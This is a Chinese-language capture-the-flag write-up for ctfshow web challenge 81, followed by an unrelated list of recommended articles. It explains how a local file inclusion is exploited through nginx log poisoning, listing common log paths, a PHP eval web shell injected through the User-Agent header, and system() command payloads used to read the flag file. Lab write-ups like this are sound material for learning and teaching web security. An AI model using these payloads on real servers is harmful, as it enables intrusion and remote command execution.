ctf show web入门81

这是一道非常经典的 文件包含漏洞(LFI) 结合 日志注入(Log Injection) 的 Web 题目。我们可以看到代码将输入的php data :都经行了字符串替换为???对 php 和 data 伪协议进行了过滤,这封死了直接通过 php://filter 或 data:// 获取 Web Shell 的路径。

在这种情况下,日志包含 是最通用的 GetShell 手段

  1. 源码分析漏洞点:include($file) 存在明显的文件包含漏洞。
    防御手段:使用了 str_replace 过滤了 php 和 data 关键字。这意味着你无法使用常用的封装协议(如 php://input)。
    绕过思路:由于它没有过滤斜杠和敏感目录,我们可以尝试包含服务器系统日志。
  2. 核心思路:日志注入
    Web 服务器(如 Nginx 或 Apache)会将每一个 HTTP 请求的信息记录在日志文件中。如果我们发送一个包含 PHP 代码的请求,这段代码就会被写入日志。当我们利用 include 包含该日志文件时,PHP 解释器会执行其中的代码。
    步骤一:定位日志文件
    你需要尝试常见的 Web 日志存放路径(通常在 Linux 下):
    Nginx 日志:/var/log/nginx/access.log 或 /var/log/nginx/error.log
    Apache 日志:/var/log/apache2/access.log 或 /etc/httpd/logs/access_log
    验证方法:
    在 URL 后面尝试访问:?file=/var/log/nginx/access.log。如果页面返回了大量的 HTTP 请求记录,说明路径正确。

发现是nginx文件并且日志内容存在与?file=/var/log/nginx/access.log目录下

打开hackbar添加user-agent 内容为:?php eval($_POST1);?>

在尝试访问日志目录下的文件内容

把url+?file=/var/log/nginx/access.log

并且开启post method在里面输入1=system('ls');

发现了存在两个文件fl0g.php和 index.php我们尝试访问fl0g.php 文件

在body里输入1=system('tac fl0g.php');

得到flag为:$flag="ctfshow{4d942eef-e113-43a5-b4d5-de587112182d}

相关推荐
咩咩啃树皮8 小时前
第40篇:Vue3组件化开发精讲——组件拆分、复用、父子通信、工程化架构
java·前端·架构
阳光是sunny8 小时前
LangGraph中的Reducer是什么
前端·人工智能·后端
触底反弹8 小时前
一文搞懂 Tailwind CSS 弹性布局:从原理到实战
前端·css·html
阳光是sunny8 小时前
从链到图:LangGraph 入门基础全解析
前端·人工智能·后端
小林ixn9 小时前
从 ??= 到 onKeyDown:一个 React 组件的“自我修养”
前端·javascript·react.js
REDcker9 小时前
显示分辨率标准对照详解
前端·网络·分辨率·显示·屏幕
এ慕ོ冬℘゜9 小时前
前端实战:jQuery 多条件联合搜索(标题模糊查询 + 日历时间段筛选)
前端·javascript·jquery
武子康10 小时前
Search Console Platform Properties 扩大 SEO 资产边界:从 Page Ranking 到 Topic Coverage(5 类误读边界 + 3 表数据层设计)
前端·人工智能·后端
一点一木10 小时前
从60首歌到1个网站:输入你的故事,还你一首歌
前端·github
IT_陈寒12 小时前
Vue这个特性差点让我加班到凌晨,谁懂啊
前端·人工智能·后端